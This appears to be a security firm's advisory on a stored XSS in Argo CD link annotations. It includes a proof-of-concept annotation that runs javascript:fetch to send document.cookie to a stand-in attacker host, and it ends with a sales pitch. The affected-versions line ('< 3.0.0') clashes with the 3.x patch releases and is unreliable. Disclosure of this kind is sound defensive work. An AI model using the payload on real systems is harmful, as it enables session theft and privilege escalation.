Argo CD: Stored XSS via link annotations
Stored XSS in the Argo CD UI: a link annotation escalates an application owner to cluster admin.
Advisory ID: TP-2026-002
Product: Argo CD (GitOps controller for Kubernetes)
Vulnerability type: Stored cross-site scripting (CWE-79)
CVE: CVE-2026-45738
CVSS 3.1: 7.3 (High) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Affected versions: < 3.0.0
Patched in: 3.2.12, 3.3.10, 3.4.2
Vendor advisory: GHSA-h98r-wv3h-fr38
Reported: 24 April 2026
Summary
Argo CD renders link annotations of the form link.argocd.argoproj.io/<name> in the UI's Summary tab as clickable references. The responsible React component does not validate the target: the annotation value is split on the pipe character and the part after the | is written directly into an href attribute. A javascript: scheme is not blocked. Because an application owner can set annotations and an admin later views them, the stored XSS escalates to full cluster admin via the Argo CD API.
Root cause
The Summary-tab component splits the annotation value on | and writes parts[1] unchecked into an <a href target='_blank'> (ui/src/app/applications/components/application-summary/application-summary.tsx:277). The sibling ExternalLink component (application-urls.tsx) calls isValidURL() before rendering, but the Summary-tab path skips that check. Argo CD bundles React 16.9.3, which does not block javascript: URLs in href (React added that block in version 19). The content security policy defines only frame-ancestors 'self', with no script-src or default-src, so an executed javascript: scheme faces no restriction. Any user with write access to an Application sets the annotation, and it runs once an admin opens the Summary tab and clicks the link.
Proof of Concept
A developer with write access to an Application sets a link annotation with a harmless link text and a javascript: target:
metadata:
annotations:
link.argocd.argoproj.io/runbook: "View runbook|javascript:fetch('https://attacker.example/x?c='+document.cookie)"
The value is split on the pipe character: View runbook becomes the visible link text, and the part after the | lands unchecked in the href attribute. As soon as an admin opens the application's Summary tab and clicks the link, the payload runs in the origin context of the Argo CD domain with the full admin session. The annotation persists in the Kubernetes custom resource. A git revert alone does not remove it.
Impact
- Script execution in the session of any admin or operator who opens the application's Summary tab.
- Privilege escalation from application owner to cluster admin via the unprotected Argo CD API.
- The
javascript:target is invisible; the victim sees only the attacker-chosen link text. - The payload persists in the Kubernetes custom resource until the annotation is removed.
References
Is Something Like This in Your Software?
Our team found this vulnerability during a source code review. Have your applications tested by the same specialists, with a penetration test from turingpoint.
